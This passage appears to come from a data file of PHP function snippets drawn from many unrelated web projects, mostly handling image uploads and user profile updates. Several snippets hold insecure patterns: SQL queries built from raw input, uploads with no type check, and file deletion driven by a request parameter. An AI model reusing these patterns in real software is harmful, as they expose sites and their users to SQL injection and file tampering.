$_POST[\"editarPerfil\"],\n\t\t\t\t\t\t\"foto\" => $ruta);\n\t\t\t\t\t\n\t\t\t\t\t$respuesta = ModelUsers::mdlEditarUsuario($tabla, $datos);\n\n\t\t\t\t\tif($respuesta){//Usuario guardado con exito\n\t\t\t\t\t\techo '<script>\n\t\t\t\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\t\t\t\ttype: \"success\",\n\t\t\t\t\t\t\t\t\t\ttitle: \"Usuario guardado con exito\",\n\t\t\t\t\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\",\n\t\t\t\t\t\t\t\t\t\tcloseOnConfirm: false\n\t\t\t\t\t\t\t\t\t}).then((result=>{\n\t\t\t\t\t\t\t\t\t\tif(result.value){\n\t\t\t\t\t\t\t\t\t\t\twindow.location = \"users\"\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}))\n\t\t\t\t\t\t\t\t</script>';\n\t\t\t\t\t}else{//Error al guardar usuario\n\t\t\t\t\t\techo '<script>\n\t\t\t\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\t\t\t\ttype: \"error\",\n\t\t\t\t\t\t\t\t\t\ttitle: \"Error al guardar usuario '.$respuesta.'\",\n\t\t\t\t\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\",\n\t\t\t\t\t\t\t\t\t\tcloseOnConfirm: false\n\t\t\t\t\t\t\t\t\t}).then((result=>{\n\t\t\t\t\t\t\t\t\t\tif(result.value){\n\t\t\t\t\t\t\t\t\t\t\twindow.location = \"users\"\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}))\n\t\t\t\t\t\t\t\t</script>';\n\t\t\t\t\t}\n\t\t\t\t}else{//Nombre no valido\n\t\t\t\t\techo '<script>\n\t\t\t\t\t\t\t\t\tswal({\n\t\t\t\t\t\t\t\t\t\ttype: \"warning\",\n\t\t\t\t\t\t\t\t\t\ttitle: \"Nombre no puede ir vacio o llevar caracteres especiales\",\n\t\t\t\t\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\",\n\t\t\t\t\t\t\t\t\t\tcloseOnConfirm: false\n\t\t\t\t\t\t\t\t\t}).then((result=>{\n\t\t\t\t\t\t\t\t\t\tif(result.value){\n\t\t\t\t\t\t\t\t\t\t\twindow.location = \"users\"\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}))\n\t\t\t\t\t\t\t\t</script>';\n\t\t\t\t}\n\t\t\t}\n\t\t}", "public function uploadverhaal() {\n $defaults = array();\n\n $defaults[\"straat\"] = \"straatnaam of de naam van de buurt\";\n $defaults[\"huisnummer\"] = \"huisnummer\";\n $defaults[\"maker\"] = \"maker\";\n $defaults[\"personen\"] = \"namen\";\n $defaults[\"datum\"] = \"datum of indicatie\";\n $defaults[\"titel\"] = \"titel\";\n $defaults[\"naam\"] = \"Je naam\";\n $defaults[\"email\"] = \"Je e-mailadres\";\n $defaults[\"tags\"] = \"\";\n\n $this->set('defaults', $defaults);\n }", "function upload()\n{\n $namafile = $_FILES['gambar']['name'];\n $ukuranfile = $_FILES['gambar']['size'];\n $error = $_FILES['gambar']['error'];\n $tmpname = $_FILES['gambar']['tmp_name'];\n\n if ($error === 4) {\n echo \"<script>\n alert('SILAHKAN PILIH GAMBAR YANG VALID !'); \n </script>\";\n\n return false;\n }\n\n $gambarvalid = ['jpg', 'png', 'jpeg'];\n $ekstensivalid = explode('.', $namafile);\n $ekstensivalid = strtolower(end($ekstensivalid));\n\n if (!in_array($ekstensivalid, $gambarvalid)) {\n echo \"<script>\n alert('TIDAK DAPAT MENGUPLOAD FILE SELAIN GAMBAR !'); \n </script>\";\n return false;\n }\n\n if ($ukuranfile > 1000000) {\n echo \"<script>\n alert('UKURAN GAMBAR TERLALU BESAR ! MAX 1MB'); \n </script>\";\n return false;\n }\n\n $namafilebaru = uniqid();\n $namafilebaru .= '.';\n $namafilebaru .= $ekstensivalid;\n\n move_uploaded_file($tmpname, 'assets/img/' . $namafilebaru);\n\n return $namafilebaru;\n}", "private function processUpdateUser(){\n\n\t\tif($_FILES[\"foto_usuario\"][\"error\"] == 0){\n\t\t\t$randNumber = rand(0, 999999);\n\t\t\t$imgName = $randNumber . $_FILES['foto_usuario']['name'];\n\t\t\t$image_upload = Config::$userDirImage . $imgName;\n\t\t\tif (move_uploaded_file($_FILES['foto_usuario']['tmp_name'], $image_upload)) {\n\t\t\t\t$result = $this->users->updateUser($_REQUEST[\"idusuario\"], $imgName); //Devuelve 1 si inserta user\n\t\t\t\tif($result){\n\t\t\t\t\tif($_REQUEST[\"nombre_foto\"] != \"\")\n\t\t\t\t\t\tunlink(Config::$userDirImage.$_REQUEST[\"nombre_foto\"]);\n\t\t\t\t\tView::redireccion(\"user\", \"userController\");\n\t\t\t\t} else {\n\t\t\t\t\tunlink($image_upload);\n\t\t\t\t\techo \"Ocurrio un error al insertar el usuario.\";\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\techo \"Ocurrio un error al guardar el archivo.\";\n\t\t\t}\n\t\t} else {\n\t\t\techo \"Ocurrio un error al cargar el archivo.\";\n\t\t}\n\t}", "public function upload_foto_profil()\n\t{\n\t\t$where = $this->input->post('id_warga');\n\t\tif ($_FILES != null) {\n\t\t\t$this->aksi_upload_foto_profil($_FILES);\n\t\t}\n\t\t$this->session->set_flashdata('success', 'diubah');\n\t\tredirect('warga/profil_saya/' . $where);\n\t}", "function thietlap($UserID){\n if($this->session->userdata('permission')!=1){\n redirect(base_url());\n exit();\n }\n $data=$this->default_model->getInfoID($this->_table,array(\"userid\" => $UserID));\n $data['permission']=$data['permission'];\n $data['template']='admin/form_thietlap'; \n $per=$this->input->post(\"permission\");\n //Neu dang nhap loi\n if($per==\"\")\n {\n }\n else\n {\n $cdata=array(\"permission\" => $per);\n $this->default_model->updateDuLieu($this->_table,$cdata,array(\"userid\" => $UserID));\n redirect(base_url().\"thanhvien/quanlythanhvien/1/g/\");\n exit(); \n }\n $this->load->view('admin/admin',$data); \n }", "function form_upload_picture() {\n $user = $this->ion_auth->user()->row();\n $this->load->view('portofolio/form_update_foto', $user);\n }", "public function add(): string\n {\n $checkAdmin = new CheckUser();\n $checkAdmin->checkAdmin();\n if ($_SERVER['REQUEST_METHOD'] === 'POST') {\n // clean $_POST data\n $boissons = array_map('trim', $_POST);\n\n $errors = [];\n\n //on gère l'upload ici\n $errors = [];\n $uploadDir = __DIR__ . '/public/assets/images/';\n /* le nom de fichier sur le serveur est ici généré à partir\n du nom de fichier sur le poste du client\n (mais d'autre stratégies de nommage sont possibles)*/\n $uploadFile = $uploadDir . basename($_FILES['image']['name']);\n // Je récupère l'extension du fichier\n $extension = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);\n // Les extensions autorisées\n $extensionsOk = ['jpg', 'webp', 'png', 'jpeg'];\n // Le poids max géré par PHP par défaut est de 2M\n $maxFileSize = 1000000;\n\n // Je sécurise et effectue mes tests\n\n /****** Si l'extension est autorisée *************/\n if ((!in_array($extension, $extensionsOk))) {\n $errors[] = 'Veuillez sélectionner une image de type Jpg ou webp ou Png !';\n }\n\n\n /****** On vérifie si l'image existe et si le poids est autorisé en octets *************/\n\n if (file_exists($_FILES['image']['tmp_name']) && filesize($_FILES['image']['tmp_name']) > $maxFileSize) {\n $errors[] = \"Votre fichier doit faire moins de 2M !\";\n }\n\n /****** On vérifie si l'image a bien un nom unique *************/\n\n if (file_exists($uploadFile)) {\n $errors[] = \"Cette image est déjà présente ! La preuve !\";\n } else {\n\n /****** Si je n'ai pas d\"erreur alors j'upload *************/\n // Je vérifie que le formulaire est soumis, comme pour tout traitement de formulaire.\n\n /* chemin vers un dossier sur le serveur qui va recevoir\n les fichiers transférés (attention ce dossier doit être accessible en écriture)*/\n $uploadDir = __DIR__ . '/../../public/assets/images/';\n\n /* le nom de fichier sur le serveur est celui du nom d'origine\n du fichier sur le poste du client (mais d'autre stratégies de\n nommage sont possibles)*/\n $uploadFile = $uploadDir . basename($_FILES['image']['name']);\n\n /* on déplace le fichier temporaire vers le nouvel emplacement\n sur le serveur. Ca y est, le fichier est uploadé*/\n move_uploaded_file($_FILES['image']['tmp_name'], $uploadFile);\n }\n // fin de l'upload //\n\n if (empty($boissons[\"name\"] && isset($boissons[\"name\"]))) {\n $errors[1] = \" Erreur : Entrez un nom de plat\";\n }\n\n if (($boissons[\"category\"] == 'Veuillez choisir une catégorie...' && isset($boissons[\"category\"]))) {\n $errors[2] = \"Erreur : Entrez une catégorie\";\n }\n\n if (empty($boissons[\"description\"] && isset($boissons[\"description\"]))) {\n $errors[3] = \"Erreur : Entrez une description\";\n }\n\n if (empty($boissons[\"price\"] && isset($boissons[\"price\"]))) {\n $errors[4] = \"Erreur : Entrez un prix\";\n }\n\n if (empty($boissons[\"image\"] && isset($boissons[\"image\"]))) {\n $errors[5] = \"Erreur : Entrez une image\";\n }\n\n if (!empty($errors)) {\n return $this->twig->render('Boissons/add.html.twig', ['errors' => $errors]);\n }\n\n if (empty($errors)) {\n // if validation is ok, insert and redirection\n $boissonsManager = new BoissonsManager();\n $id = $boissonsManager->insert($boissons);\n header('Location:/Admin/index/' . $id);\n }\n }\n\n return $this->twig->render('Boissons/add.html.twig');\n }", "function upload()\n{\n $namaFile = $_FILES['gambar']['name'];\n $ukuranFile = $_FILES['gambar']['size'];\n $error = $_FILES['gambar']['error'];\n $tmpName = $_FILES['gambar']['tmp_name'];\n\n // * cek apakah gambar diupload\n if ($error === 4) {\n echo \"<script>\n alert ('pilih gambar dulu')\n </script>\";\n return false;\n }\n\n // * cek apa yg diup gambar \n $ektensiGambarValid = ['jpg', 'jpeg', 'png'];\n $ekstensiGambar = explode('.', $namaFile);\n $ekstensiGambar = strtolower(end($ekstensiGambar));\n\n // * cek ekstensi gambar yg diup\n if (!in_array($ekstensiGambar, $ektensiGambarValid)) {\n echo \"<script>\n alert ('Harus upload gambar')\n </script>\";\n return false;\n }\n // @ klo ekstensi tdk ada di array, maka...\n\n // * cek ukuran max\n // & 2jt -> 2mb\n if ($ukuranFile > 2000000) {\n echo \"<script>\n alert ('Ukuran gambar terlalu besar')\n </script>\";\n return false;\n }\n\n // * generate nama file baru. (agar tdk bentrok)\n $namaFileBaru = uniqid();\n $namaFileBaru .= '.';\n $namaFileBaru .= $ekstensiGambar;\n\n // * lolos cek\n move_uploaded_file($tmpName, '../pert10/img/' . $namaFileBaru);\n return $namaFileBaru;\n}", "function upload (){\r\n\t$namaGambar = $_FILES[\"gambar\"][\"name\"];\r\n\t$tmpNama = $_FILES[\"gambar\"][\"tmp_name\"];\r\n\t$error = $_FILES[\"gambar\"][\"error\"];\r\n\t$size = $_FILES[\"gambar\"][\"size\"];\r\n\r\n\r\n\t// Untuk mengangani error dengan file $error\r\n\tif ( $error == 4 ){\r\n\t\techo \"<script>\r\n\t\t alert('Anda belum upload gambar');\r\n\t\t </script>\";\r\n\t\treturn false;\r\n\t}\r\n\r\n\t// melakukan pengecekan apakah gambar yang di kirim atau bukan \r\n\t$ekstensiGambarValid = [\"jpeg\",\"png\",\"jpg\",\"gif\"];\r\n\t$ekstensiGambar = explode(\".\",$namaGambar);\r\n\t$ekstensiGambar = strtolower(end($ekstensiGambar));\r\n\t$ekstensiGambarB = uniqid();\r\n\t$ekstensiGambarB .=\".\";\r\n\t$ekstensiGambarB .=\"$ekstensiGambar\";\r\n\t$Gambar = $ekstensiGambarB;\r\n\t// pengecekannya\r\n\tif( !in_array($ekstensiGambar,$ekstensiGambarValid) ){\r\n\t\techo \"<script>\r\n\t\t alert('Yang anda upload bukan gambar !');\r\n\t\t </script>\";\r\n\t\treturn false;\r\n\t}\r\n\r\n\tif ( $size > 1000000 ){\r\n\t\techo \"<script>\r\n\t\t alert('Gambar yang anda masukkan terlalu besar (MAX 1MB)');\r\n\t\t </script>\";\r\n\t\treturn false;\r\n\t}\r\n\r\n\t// Jika lolos pengecekan pada 3 kondisi diatas ,artinya siap di upload \r\n\tmove_uploaded_file($tmpNama ,\"img/\".$Gambar);\r\n\treturn $Gambar;\r\n\r\n}", "public function UpdateManga(){\r\n $this->idPost();\r\n $this->titlePost();\r\n $this->contentPost();\r\n $this->manga();\r\n $this->lastFileNamePost();\r\n // Testons si le fichier a bien été envoyé et s'il n'y a pas d'erreur\r\nif (isset($_FILES['file']) AND $_FILES['file']['error'] == 0){ \r\n // Testons si le fichier n'est pas trop gros\r\n if ($_FILES['file']['size'] <= 2000000)\r\n {\r\n \r\n unlink(\"public/images/manga/\" . $_POST['lastFileName']);\r\n \r\n $infosfichier = pathinfo($_FILES['file']['name']);// le'extention du fichier envoye .jpg etc\r\n \r\n $extension_upload = $infosfichier['extension'];//on le met dans un tableau\r\n \r\n $extensions_autorisees = array('jpg', 'jpeg', 'gif', 'png');// les extention qu'on acceptes\r\n \r\n\t\t $name = $infosfichier['filename'];// On recupere le nom du fichier envoye\r\n \r\n\t\t $file = 'Time' .time(). 'Name' .$name. '.' .$extension_upload;\r\n //Nom du fichier qu'on lui donne Time du moment + name + nom du fichier + extention\r\n \r\n // Testons si l'extension du fichier est egale a celle que l'on autorise\r\n if (in_array($extension_upload, $extensions_autorisees))\r\n {\r\n // On peut valider le fichier et le stocker définitivement\r\n move_uploaded_file($_FILES['file']['tmp_name'], 'public/images/manga/' . $file);\r\n }else{\t \r\n echo \"<script>alert(\\\"L'extension du fichier n'est pas autorisée. Seuls les fichiers jpg, jpeg, png sont acceptés.\\\")</script>\";\r\n}\r\n }else{\r\n echo \"<script>alert(\\\"Le fichier est trop volumineux (Poids limité à 4Mo)\\\")</script>\";\r\n\t\t}\r\n }else{\r\n $file = $this->_lastFileNamePostSecure;\r\n} \r\n $this->_mangaManager->updateManga($this->_idPostSecure, $this->_titlePostSecure, $this->_contentPostSecure, $file);\r\n \r\n header('location: GestionManga'); \r\n }", "function doUpload(){\n if(count($_FILES) > 0){\n if(array_key_exists($this->name,$_FILES) AND $_FILES[$this->name]['name'] != \"\"){\n\n $this->CI->upload->initialize($this->config);\n\n if (!$this->CI->upload->do_upload($this->name)){\n show_error($this->CI->upload->display_errors());\n } \n else{\n $data = $this->CI->upload->data();\n $this->CI->codexmessages->add('info',$this->CI->lang->line('codexforms_file').' '.$_FILES[$this->name]['name'].' '.$this->CI->lang->line('codexforms_uploaded_correctly'),'',true);\n return $data['file_name'];\n }\n }\n }\n }", "function upload($nim) {\n\t\tglobal $conn;\n\t\t$namaFile=$_FILES['gambar'] ['name'];\n\t\t$ukuranFile=$_FILES ['gambar'] ['size'];\n\t\t$error=$_FILES ['gambar'] ['error'];\n\t\t$tmpName=$_FILES ['gambar'] ['tmp_name'];\n\t\t\n\t\t//cek apakah tidak ada gambar yang diupload\n\t\tif( $error===4) {//4=pesan error tidak ada gambar yg diupload\n\t\t\techo \"<script>\n\t\t\t\t\talert('Pilih gambar terlebih dahulu!');\n\t\t\t\t </script>\";\n\t\t\treturn 0;\t \n\t\t}\n\t\t\n\t\t//cek apakah yang diupload adalah gambar\n\t\t$ekstensiGambarValid = ['jpg', 'jpeg', 'png'];\n\t\t$ekstensiGambar = explode ('.', $namaFile);\n\t\t\n\t\t$ekstensiGambar = strtolower(end($ekstensiGambar));\n\t\tif( !in_array($ekstensiGambar, $ekstensiGambarValid) ) {\n\t\t\techo \"<script>\n\t\t\t\t\talert('File yang anda unggah bukan gambar!');\n\t\t\t\t </script>\";\n\t\t\treturn 0;\t \n\t\t}\n\t\t\n\t\t//cek jika ukuran terlalu besar KENAPA DIA NGGAK MAU MUNCUUUL kayanya karena upload fotonya masih gagal deh\n\t\tif( $ukuranFile > 10000000000 ) {\n\t\t\techo \"<script>\n\t\t\t\t\talert('Ukuran gambar terlalu besar!');\n\t\t\t\t </script>\";\n\t\t\treturn 0;\t\t \n\t\t} else {\n\t\t\n\t\t//lolos pengecekan, gambar siap diupload\n\t\t//generate nama gambar baru\n\t\t$namaFileBaru=uniqid(); \n\t\t$namaFileBaru .='.';\n\t\t$namaFileBaru .= $ekstensiGambar;\n\t\t$direct = \"img/praktikan/\".$namaFileBaru;\n\t\t\n\t\t//$lokasi = $tmpName.$ekstensiGambar;\n\n\t\t$query = \"UPDATE praktikan SET\n\t\t\t\t\tfoto='$direct'\n\t\t\t\tWHERE nim='$nim'\n\t\t\t\t \";\n\t\tmysqli_query ($conn, $query);\n\n\n\t\tmove_uploaded_file($tmpName, $direct);\n\t\t\n\t\t\n\t\n\t\treturn mysqli_affected_rows($conn);\n\t\t}\n\t}", "function uploader(){\n $session_id = $this->uri->segment(3);\n $dir = ROOT.'data/tam/';\n $dir_admin = 'data/tam/';\n $size=$_FILES['Filedata']['size'];\n if($size>204857600)\n {\n $data['error'] = 1;\n $data['msg'] = \"File quá lớn. Không thể tải lên\";\n } \n $filename = stripslashes($_FILES['Filedata']['name']);\n $i = strrpos($filename,\".\");\n if (!$i) { return \"\"; }\n $l = strlen($filename) - $i;\n $extension = substr($filename,$i+1,$l); \n $extension = strtolower($extension); \n $file_name = str_replace($extension,'',$filename);\n $file_name = vnit_change_title($file_name);\n $filename = $dir.$file_name.'-'.time().'.'.$extension;\n $file_ext = $file_name.'-'.time().'.'.$extension;\n if (move_uploaded_file($_FILES['Filedata']['tmp_name'], $filename)) {\n $vdata['session_id'] = $session_id;\n $vdata['path'] = $file_ext;\n $vdata['time'] = time();\n $this->db->insert('tam1',$vdata);\n $data['id'] = $this->db->insert_id();\n $data['error'] = 0;\n $data['filename'] = $file_ext;\n $data['msg'] = \"Tải file lên thành công\";\n } else {\n $data['error'] = 1;\n $data['msg'] = \"Tải file lên không thành công\";\n }\n echo json_encode($data);\n }", "function _submit_data()\n {\n\t$data = $this->_get_data_from_post();\n\t//$this->debug($_FILES);\n\tif (isset($_FILES['photo']) && $_FILES['photo']['name'] != NULL) {\n\t $data['image'] = Modules::run('upload_manager/upload', 'photo', 'profile');\n\t}\n\n\t$id = $this->uri->segment(3) == 'edit' ? $this->session->user_id : '';\n\tif (is_numeric($id)) {\n\t $this->_update($id, $data);\n\t Modules::run('auth/create_session', $this->session->user_id);\n\t redirect($this->uri->segment(3) == 'edit' ? 'users/profile' : 'users');\n\t} else {\n\t $this->_insert($data);\n\t redirect('login');\n\t}\n }", "public function admin_submit(){\n if($this->input->post('source') === 'insert'){\n $this->usm->insert();\n }else if(is_numeric($this->input->post('source'))){\n $this->usm->update();\n }else{\n echo Modules::run(\"template/load_admin\",\"Somthing Went Wrong!\", \"Server Didn't Understand Your Request! Please Try Again from controller\");\n }\n }", "function procMenuAdminUploadButton()\n\t{\n\t\t$menu_srl = Context::get('menu_srl');\n\t\t$menu_item_srl = Context::get('menu_item_srl');\n\t\t$target = Context::get('target');\n\t\t$target_file = Context::get($target);\n\t\t// Error occurs when the target is neither a uploaded file nor a valid file\n\t\tif(!$menu_srl || !$menu_item_srl)\n\t\t{\n\t\t\tContext::set('error_messge', Context::getLang('msg_invalid_request'));\n\n\t\t}\n\t\telse if(!$target_file || !is_uploaded_file($target_file['tmp_name']) || !preg_match('/\\.(gif|jpeg|jpg|png)$/i',$target_file['name']) || !checkUploadedFile($target_file['tmp_name']))\n\t\t{\n\t\t\tContext::set('error_messge', Context::getLang('msg_invalid_request'));\n\t\t}\n\n\t\t// Move the file to a specific director if the uploaded file meets requirement\n\t\telse\n\t\t{\n\t\t\t$tmp_arr = explode('.',$target_file['name']);\n\t\t\t$ext = $tmp_arr[count($tmp_arr)-1];\n\n\t\t\t$path = sprintf('./files/attach/menu_button/%d/', $menu_srl);\n\t\t\t$filename = sprintf('%s%d.%s.%s', $path, $menu_item_srl, $target, $ext);\n\n\t\t\tif(!is_dir($path)) FileHandler::makeDir($path);\n\n\t\t\tmove_uploaded_file($target_file['tmp_name'], $filename);\n\t\t\tContext::set('filename', $filename);\n\t\t}\n\n\t\t$this->setTemplatePath($this->module_path.'tpl');\n\t\t$this->setTemplateFile('menu_file_uploaded');\n\t}", "function tambah($data) {\nglobal $conn;\n//ambil data dari tiap elemen dalam form\n\n\n$nrp =htmlspecialchars ($data[\"nrp\"]);\n$nama = htmlspecialchars($data[\"nama\"]);\n$email = htmlentities($data[\"email\"]);\n$jurusan = htmlspecialchars($data[\"jurusan\"]);\n\n// upload gambar\n$gambar = upload();\nif( !$gambar) {\n return false;\n}\n\n// query insert Data\n$query = \"INSERT INTO mahasiswa\n VALUES\n ('','$nrp','$nama','$email','$jurusan','$gambar')\";\nmysqli_query($conn, $query);\n\n return mysqli_affected_rows($conn);\n}", "public function updateFotoUser_post()\n\t{\n\t\t$id = $this->post('id');\n\t\t// $checkout = md5(uniqid($id));\n\t\t$name = base64_decode($this->post('foto'));\n\t\t$config = array(\n\t\t\t'upload_path' => \"asset/img/fotouser\",\n\t\t\t'allowed_types' => \"jpg|png|jpeg|gif\",\n\t\t\t'max_size' => '100',\n\t\t\t'file_name' => $name\n\t\t);\n\t\t$this->load->library('upload', $config);\n\n\t\tif ($this->upload->do_upload('foto')) {\n\t\t\t$data = array('upload_data' => $this->upload->data());\n\t\t\t$path = \"http://192.168.43.83/Apotek/\" . $config['upload_path'] . '/' . $data['upload_data']['file_name'];\n\t\t\t$this->db->where('id', $id);\n\t\t\t$this->db->update('user', ['foto' => $path]);\n\t\t\t// $this->Pesan->updatePesan($id,$path);\n\t\t\t$returndata = array('error' => false, 'message' => ' upload successfully');\n\t\t\t$this->set_response($returndata, 200);\n\t\t} else {\n\t\t\t$error = array('error' => $this->upload->display_errors());\n\t\t\t$returndata = array('error' => true, 'message' => $error);\n\t\t\t$this->set_response($returndata, 200);\n\n\t\t\t}\n\t}", "public function inicio($edicion = 0,$id_usuario = \"\"){\r\n\t\t$tipoDirec = self::$datoDB->selectTipoDireccion();\r\n\t\t//$ciudad\t = self::$datoDB->selectCiudad();\r\n\t\t$localidad = self::$datoDB->selectLocalidad();\r\n\t\t/* Query para llenar Email*/\r\n\t\t$tipoEmail = self::$datoDB->selectTipoCorreo();\r\n\t\t/* Query para llenar Fono*/\r\n\t\t$tipoFono = self::$datoDB->selectTipoTelefono();\r\n\t\t\r\n\r\n\t\t/* Querys si el administrador edita al usuario */\t\r\n\t\tif($edicion == 1){\r\n\t\t\t/* Datos tabla org_usuario */\r\n\t\t\t$dataUsuario = self::$datoDB->selectuDataUsuario($id_usuario);\t\t\t\t\t\r\n\t\t}\r\n?>\r\n\t<script language=\"javascript\" type=\"text/javascript\">\r\n\t\t$('#rut_us').Rut({\r\n\t\t\t on_error: function(){ alert('Rut incorrecto');\r\n\t\t\t \t\t$(\"#rut_us\").each(function(){\t\r\n\t\t\t\t\t$($(this)).val('')\r\n\t\t\t\t});},\r\n\t\t\t format_on: 'keyup'\r\n\t\t});\r\n\t</script>\r\n\r\n<div id=\"form_inicio\" align=\"center\">\r\n<form id=\"principal\" name=\"principal\" method=\"POST\" enctype=\"multipart/form-data\"><!-- action=\"controller.php?mod=4\" -->\r\n\r\n<table class=\"cuadrotexto\" align=\"center\" width=\"70%\">\r\n\t<div id='uso_default'></div>\r\n\t<?php \r\n\t\tif($edicion == 1){\r\n\t\t\tif($dataUsuario[0][11] == \"\"){\r\n\t\t\t\t$dataUsuario[0][11] = \"./Fotos/sin-imagen.jpg\";\r\n\t\t\t\t$liminaF = \"\"; \t //Si el usuario no tiene foto oculto el boton eliminar foto\r\n\t\t\t\t$fileLocked = \"\"; //si el usuario no tiene foto activo el cargar foto\r\n\t\t\t}else{\r\n\t\t\t\t$liminaF = \"<tr><td align='center'><a href='#' onClick='eliminaFoto(\\\"\".$dataUsuario[0][11].\"\\\",$id_usuario);'>Eliminar foto</a></td></tr>\";\r\n\t\t\t\t$fileLocked = \"disabled = true\";\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\techo \"<tr><td colspan='4' align='center' class='person'><div class='person'><img src='\".$dataUsuario[0][11].\"' width='130px' height='150px'></div></td></tr>\";\r\n\t\t\techo $liminaF;\r\n\t\t\t$colsan = \"colspan='7'\";\r\n\t\t}else{\r\n\t\t\t$colsan = \"colspan='5'\";\r\n\t\t}\r\n?>\r\n\t<tr>\r\n\t\t<td>\r\n\t\t\t<table align=\"center\" width=\"100%\">\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td <?=$colsan?> class=\"ui-corner-all ui-widget-header\" align=\"center\">DATOS USUARIO</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td class=\"cuadrotexto\" width=\"60px\">Rut</td>\r\n\t\t\t\t\t<td width=\"290px\"><?=self::inputText(array(\"name\"=>\"rut_us\",\"id\"=>\"rut_us\",\"onBlur\"=>\"validaRut(this.value,$edicion);\",\"value\"=>$dataUsuario[0][1]))?></td> <!-- ,\"onBlur\"=>\"validaRut()\" -->\r\n\t\t\t\t\t<td width=\"80px\"><div id=\"rut_val\"></div></td>\r\n\t\t\t\t\t<td class=\"cuadrotexto\">Foto</td>\r\n\t\t\t\t\t<td><input type=\"file\" id=\"foto_us\" name=\"foto_us\" <?=$fileLocked?>></input></td><!-- class=\"upload\" -->\t\r\n\t\t\t\t<?php \r\n\t\t\tif($edicion == 1){\r\n echo \" <script type=\\\"text/javascript\\\">\\n\"; \r\n echo \" // <![CDATA[\\n\"; \r\n echo \" $(document).ready(function() {\\n\"; \r\n echo \" $('#foto_us').uploadify({\\n\"; \r\n echo \" 'uploader' : 'uploadify/uploadify.swf',\\n\"; \r\n echo \" 'script' : 'uploadify/uploadify.php',\\n\"; \r\n echo \" 'cancelImg' : 'uploadify/cancel.png',\\n\"; \r\n echo \" 'folder' : 'Fotos',\\n\"; \r\n echo \" 'auto' : true,\\n\";\r\n echo \" 'buttonText' :'Subir Archivo',\\n\"; \r\n //echo \" 'scriptData' : {'fuente':'Status','id_informe':12067},\\n\"; \r\n echo \" 'method' : 'post',\\n\"; \r\n echo \" 'onComplete' : function(event, ID, fileObj, response, data) {\\n\"; \r\n echo \" alert('Archivo Subido Correctamente!');\\n\"; \r\n echo \" insertarUploadify('$id_usuario',response);\\n\";\r\n echo \" }\\n\"; \r\n echo \" });\\n\"; \r\n echo \" });\\n\"; \r\n echo \" // ]]>\\n\"; \r\n echo \" </script>\\n\";\r\n\t\t\t}\r\n\t\t\t\t?>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td class=\"cuadrotexto\">Nombres</td>\r\n\t\t\t\t\t<td><?=self::inputText(array(\"id\"=>\"nombre_us\",\"name\"=>\"nombre_us\",\"value\"=>$dataUsuario[0][12],\"maxlength\"=>100))?></td>\r\n\t\t\t\t\t<td>&nbsp;</td>\r\n\t\t\t\t\t<td class=\"cuadrotexto\">Apellidos</td>\r\n\t\t\t\t\t<td><?=self::inputText(array(\"id\"=>\"apellido_us\",\"name\"=>\"apellido_us\",\"value\"=>$dataUsuario[0][13],\"maxlength\"=>100))?></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td class=\"cuadrotexto\">Login</td>\r\n\t\t\t\t\t<td><?=self::inputText(array(\"id\"=>\"login_us\",\"name\"=>\"login_us\",\"onblur\"=>\"validaLogin(this.value,$edicion);\",\"value\"=>$dataUsuario[0][14],\"maxlength\"=>30))?></td>\r\n\t\t\t\t\t<td width=\"80px\"><div id=\"acep_no\"></div></td>\r\n\t\t\t\t\t<td class=\"cuadrotexto\">Fecha Nac.</td>\r\n\t\t\t\t\t<td><?=self::inputFecha(\"fecha_nac\",array(\"id\"=>\"fecha_nac\",\"value\"=>$dataUsuario[0][15],\"yearRange\"=>\"c-90:c+0\"))?></td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t\r\n\t\t\t\t<tr>\r\n\t\t\t\t<?php if($edicion == 1){\r\n\t\t\t\t\t\t\tif($dataUsuario[0][4] == \"M\"){\r\n\t\t\t\t\t\t\t\t$selectedM = \"selected\";\r\n\t\t\t\t\t\t\t\t$selectedF = \"\";\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$selectedM = \"\";\r\n\t\t\t\t\t\t\t\t$selectedF = \"selected\";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t?>\r\n\t\t\t\t\t<td class=\"cuadrotexto\">Sexo</td>\r\n\t\t\t\t\t<td>\r\n\t\t\t\t\t\t<select id=\"sexo_us\" name=\"sexo_us\">\r\n\t\t\t\t\t\t\t<option value=\"\">-Seleccione-</option>\r\n\t\t\t\t\t\t\t<option value=\"M\" <?=$selectedM?>>Masculino</option>\r\n\t\t\t\t\t\t\t<option value=\"F\" <?=$selectedF?>>Femenino</option>\r\n\t\t\t\t\t\t</select>\r\n\t\t\t\t\t</td>\r\n\t\t\t\t\t<td>&nbsp;</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t</table>\r\n\t\t\t\t\r\n\t\t\t<?php if($edicion != 1){?>\r\n\t\t\t<table>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td class=\"cuadrotexto\" width=\"60px\">Direccion</td>\r\n\t\t\t\t\t<td colspan=\"4\"><?=self::inputText(array(\"name\"=>\"direccion_pers0\",\"id\"=>\"direccion_pers0\",\"style\"=>\"width: 100px\",\"maxlength\"=>50))?> <!-- ,\"style\"=>\"50px\" -->\r\n\t\t\t\t\tNro <?=self::inputText(array(\"id\"=>\"nmro0\",\"name\"=>\"nmro0\",\"style\"=>\"width: 50px\"))?>\r\n\t\t\t\t\tDpto <?=self::inputText(array(\"id\"=>\"dpto0\",\"name\"=>\"dpto0\",\"style\"=>\"width: 